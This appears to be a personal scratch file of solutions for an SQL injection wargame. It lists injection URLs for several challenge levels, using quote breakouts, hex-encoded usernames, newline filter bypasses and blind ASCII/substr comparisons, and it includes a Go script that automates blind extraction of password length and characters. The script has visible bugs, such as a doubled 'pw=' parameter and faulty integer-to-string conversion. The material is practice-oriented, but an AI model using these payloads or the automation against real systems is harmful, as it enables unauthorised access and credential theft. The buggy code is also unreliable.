Tempus

http://los.sandbox.cash/chall/golem_9433f16f7a3899d7cf3fe48330f22018.php?pw=%27||ascii(right(left(pw,9),1))%3C100%20%26%26id%20like%20%27admin%27%23

http://los.sandbox.cash/chall/troll_4db5bdeebb8a99cbe4534cf1fcfc37eb.php?id=Admin

http://los.sandbox.cash/chall/orge_724bc99aec5d0ec3664912dfacdca45a.php?pw=1%27||id=0x61646d696e%26%26ascii(substr(pw,8,1))%3C=100%23

https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=1%27||id=0x61646d696e%0a%26%26ascii(substr(pw,1,1))%3C=150%23

https://los.rubiya.kr/chall/wolfman_4fdc56b75971e41981e3d1e2fbe9b7f7.php?pw=1%27%0aor%0aid=0x61646d696e%23

https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20%20ascii(substr(pw,1,1))%3C150%23

package main

import (

"bytes"

"fmt"

"io/ioutil"

"log"

"net/http"

"regexp"

"strconv"

"time"

)

const COOKIEVALUE string = ""

var limit int = 50

var index int = 0

var payload []string

var pwLength int = 0

func main() {

//requestPost()

getLength(50)

fmt.Println(strconv.Itoa(pwLength))

index = 0

blidSqlInjection(0, 0)

fmt.Println("%v", payload)

}

func matchFind(targetString string) bool {

r, _ := regexp.Compile("<h2>Hello.*</h2>")

var result []string

result = r.FindAllString(targetString, -1)

if len(result) > 0 {

return true

} else {

return false

}

}

func requestPost() {

url := "https://los.rubiya.kr/gate.php"

data := []byte(`{"hello": "world"}`)

req, err := http.NewRequest("POST", url, bytes.NewBuffer(data))

if err != nil {

log.Fatal("Error reading request. ", err)

}

// Set headers

req.Header.Set("Content-Type", "application/json")

req.Header.Set("Host", "httpbin.org")

// Create and Add cookie to request

cookie := http.Cookie{Name: "PHPSESSID", Value: COOKIEVALUE}

req.AddCookie(&cookie)

// Set client timeout

client := &http.Client{Timeout: time.Second * 10}

// Validate cookie and headers are attached

fmt.Println(req.Cookies())

fmt.Println(req.Header)

// Send request

resp, err := client.Do(req)

if err != nil {

log.Fatal("Error reading response. ", err)

}

defer resp.Body.Close()

fmt.Println("response Status:", resp.Status)

fmt.Println("response Headers:", resp.Header)

body, err := ioutil.ReadAll(resp.Body)

if err != nil {

log.Fatal("Error reading body. ", err)

}

fmt.Printf("%s\n", body)

}

func getLength(start int) int {

//https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20%20ascii(substr(pw,1,1))%3C150%23

if index >= limit || start == 0 {

return -1

}

url1 := "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=pw=%27%20or%20%20length(pw)="

url2 := strconv.Itoa(start) + "%23"

data := []byte(`{"hello": "world"}`)

url := url1 + url2

fmt.Println("Request URL : ", url)

req, err := http.NewRequest("GET", url, bytes.NewBuffer(data))

if err != nil {

log.Fatal("Error reading request. ", err)

}

// Set headers

req.Header.Set("Content-Type", "application/json")

// Create and Add cookie to request

cookie := http.Cookie{Name: "PHPSESSID", Value: COOKIEVALUE}

req.AddCookie(&cookie)

// Set client timeout

client := &http.Client{Timeout: time.Second * 10}

// Send request

resp, err := client.Do(req)

if err != nil {

log.Fatal("Error reading response. ", err)

}

defer resp.Body.Close()

//fmt.Println("response Status:", resp.Status)

body, err := ioutil.ReadAll(resp.Body)

if err != nil {

log.Fatal("Error reading body. ", err)

}

matchResult := matchFind(string(body))

if matchResult == true {

fmt.Println("Length : ", strconv.Itoa(start))

pwLength = start

return start

}

index++

if matchResult == true {

getLength(start / 2)

} else {

getLength(start - 1)

}

return -1

}

func blidSqlInjection(start int, pwIndex int) int {

//https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=%27%20or%20%20ascii(substr(pw,1,1))%3C150%23

fmt.Println(index, start, pwLength, pwIndex)

if start == pwLength && pwLength == pwIndex {

return -1

}

if pwLength < pwIndex {

return -1

}

url1 := "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=pw=%27%20or%20%20ascii(substr(pw," + strconv.Itoa(pwIndex) + ",1))="

url2 := strconv.Itoa(start) + "%23"

data := []byte(`{"hello": "world"}`)

url := url1 + url2

fmt.Println("Request URL : ", url)

req, err := http.NewRequest("GET", url, bytes.NewBuffer(data))

if err != nil {

log.Fatal("Error reading request. ", err)

}

// Set headers

req.Header.Set("Content-Type", "application/json")

// Create and Add cookie to request

cookie := http.Cookie{Name: "PHPSESSID", Value: COOKIEVALUE}

req.AddCookie(&cookie)

// Set client timeout

client := &http.Client{Timeout: time.Second * 10}

// Send request

resp, err := client.Do(req)

if err != nil {

log.Fatal("Error reading response. ", err)

}

defer resp.Body.Close()

//fmt.Println("response Status:", resp.Status)

body, err := ioutil.ReadAll(resp.Body)

if err != nil {

log.Fatal("Error reading body. ", err)

}

matchResult := matchFind(string(body))

index++

if matchResult == true {

//fmt.Println("Length : ", strconv.Itoa(start))

//return start

payload = append(payload, string(start))

blidSqlInjection(0, pwIndex+1)

} else {

blidSqlInjection(start+1, pwIndex)

}

return -1

}

https://los.rubiya.kr/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=TRUE%20||%20id=0x61646d696e%20limit%201,2